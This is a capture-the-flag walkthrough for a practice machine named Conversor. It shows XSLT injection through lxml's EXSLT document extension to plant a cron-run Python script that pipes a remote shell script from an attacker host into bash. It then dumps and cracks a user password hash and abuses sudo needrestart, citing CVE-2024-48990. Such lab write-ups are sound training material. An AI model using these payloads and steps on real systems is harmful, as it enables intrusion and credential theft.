Machine Overview
The target machine Conversor exposes a web application. Exploiting the web application leads to XSLT injection, which we leverage to escalate from www-data to fismathack and finally to root via needrestart.
Enumeration
Network Enumeration
We start with a basic port scan:
nmap -A -sC -sV -oN conversor.nmap 10.10.11.92Scan Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0174263947bc6ae2cb128b71849cf85a (ECDSA)
|_ 256 3a1690dc74d8e3c45136e208062617ee (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://conversor.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)Findings:
- SSH (22/tcp): OpenSSH 8.9p1
- HTTP (80/tcp): Apache httpd 2.4.52, redirecting to
http://conversor.htb/
Web Enumeration
Hostname Resolution
To properly resolve conversor.htb, we add an entry to /etc/hosts:
echo "10.10.11.92 conversor.htb" | sudo tee -a /etc/hostsWebsite Analysis
Visiting http://conversor.htb reveals a login webpage:

After registering a new account, we can see a form to upload an XML file and an XSLT file.

After uploading the files, we can see the converted HTML file.

Generate a XML file with nmap
nmap -sC -sV -oX nmap.xml 10.10.11.92Source Code Analysis
Looking at the about page, we can see a button to download the source code.

Downloading the source code, we can see the following file hierarchy:

Looking at the INSTALL.md file, we can see the following:
If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.
"""
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
"""This means that any .py file in /var/www/conversor.htb/scripts/ owned by www-data will be executed every minute as the www-data user via cron.
Looking at the app.py file we can see that the application is using the lxml library to process the XML and XSLT files.
DB_PATH = '/var/www/conversor.htb/instance/users.db'
# ... more code ...
def convert():
# ... more code ...
from lxml import etree
xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
xml_file.save(xml_path)
xslt_file.save(xslt_path)
# ... more code ...Inside the documentation of the lxml library we can see the following:
"By default, XSLT supports all extension functions from libxslt and libexslt as well as Python regular expressions through EXSLT. Some extensions enable style sheets to read and write files on the local file system."
Since the app.py file is not using the XSLTAccessControl class, we can create a malicious XSLT file that will generate a python script and then be triggered by the cron job.
Exploitation
XSLT Injection
From PayloadsAllTheThings we can see the following payload:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
version="1.0">
<xsl:template match="/">
<exploit:document href="evil.txt" method="text">
Hello World!
</exploit:document>
</xsl:template>
</xsl:stylesheet>Thanks to the DB_PATH variable in the app.py file, we know that the project path is /var/www/conversor.htb so we know the full path to the scripts directory is /var/www/conversor.htb/scripts/. Modify the payload to write a python script to the /var/www/conversor.htb/scripts/revshell.py file with our reverse shell payload.
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
version="1.0"
>
<xsl:template match="/">
<exploit:document href="/var/www/conversor.htb/scripts/revshell.py" method="text">
import os
os.system("curl http://10.10.16.4:1337/revshell.sh|bash")
</exploit:document>
</xsl:template>
</xsl:stylesheet>Initial Shell
After uploading the XSLT file, we wait for the cron job to execute our python script and receive a reverse shell:
www-data@conversor:~$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)Looking at the /etc/passwd file, we can see the fismathack user.
www-data@conversor:~$ cat /etc/passwd | grep "/bin/bash"
root:x:0:0:root:/root:/bin/bash
fismathack:x:1000:1000:fismathack:/home/fismathack:/bin/bashInside the database, we can see the fismathack user and the password hash.
www-data@conversor:~/conversor.htb/instance$ sqlite3 users.db
SELECT * FROM users;
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
# ... more users ...Decrypting the password hash with CrackStation:

The password is Keepmesafeandwarm. We can log in to the system as the fismathack user via SSH:
ssh fismathack@conversor.htb
# password: Keepmesafeandwarm
fismathack@conversor:~$ id
uid=1000(fismathack) gid=1000(fismathack) groups=1000(fismathack)User flag
/home/fismathack/user.txt
Privilege Escalation (fismathack to root)
Checking the sudo rights of the fismathack user, we can see that the /usr/sbin/needrestart binary is listed as a NOPASSWD program.
User fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestartWhat is Needrestart?
Needrestart is a Debian/Ubuntu post-upgrade utility that detects running processes using outdated libraries or a new kernel and prompts (or auto-performs) restarts.
- How it works: scans running processes via
/proc, maps loaded libraries, and compares them against recently upgraded packages to find services that should be restarted. It also detects kernel/userland mismatches after kernel upgrades. - When it runs: automatically after
apt/dpkgupgrades, and manually viasudo /usr/sbin/needrestart. - Modes: interactive TUI or non-interactive. It can just list affected services, ask what to restart, or auto-restart based on policy.
- Config files:
/etc/needrestart/needrestart.confand snippets in/etc/needrestart/conf.d/. Common options include$nrconf{mode}and$nrconf{restart}(e.g., always/list/interactive). - Handy commands:
sudo /usr/sbin/needrestart -l# list services needing restartsudo /usr/sbin/needrestart -r a# auto-restart affected servicessudo /usr/sbin/needrestart -k# report kernel restart statussudo /usr/sbin/needrestart --help
Looking at the help page of the needrestart binary, we can see that it can read config files.
sudo /usr/sbin/needrestart --helpOutput:
# ... more options ...
-c <cfg> config filename
# ... more options ...Since we are running the command with sudo privileges, we can point the -c option at /root/root.txt.
sudo /usr/sbin/needrestart -c /root/root.txtOutput:
Error parsing /root/root.txt: Bareword "HTB{fake_flag}" not allowed while "strict subs" in use at (eval 14) line 1.Root flag
/root/root.txt
We are not root yet. Checking the version of needrestart, we see it is vulnerable to a known local privilege escalation (CVE-2024-48990). Using this GitHub repository we can exploit the vulnerability to gain root access. Follow the repository instructions to trigger the LPE.


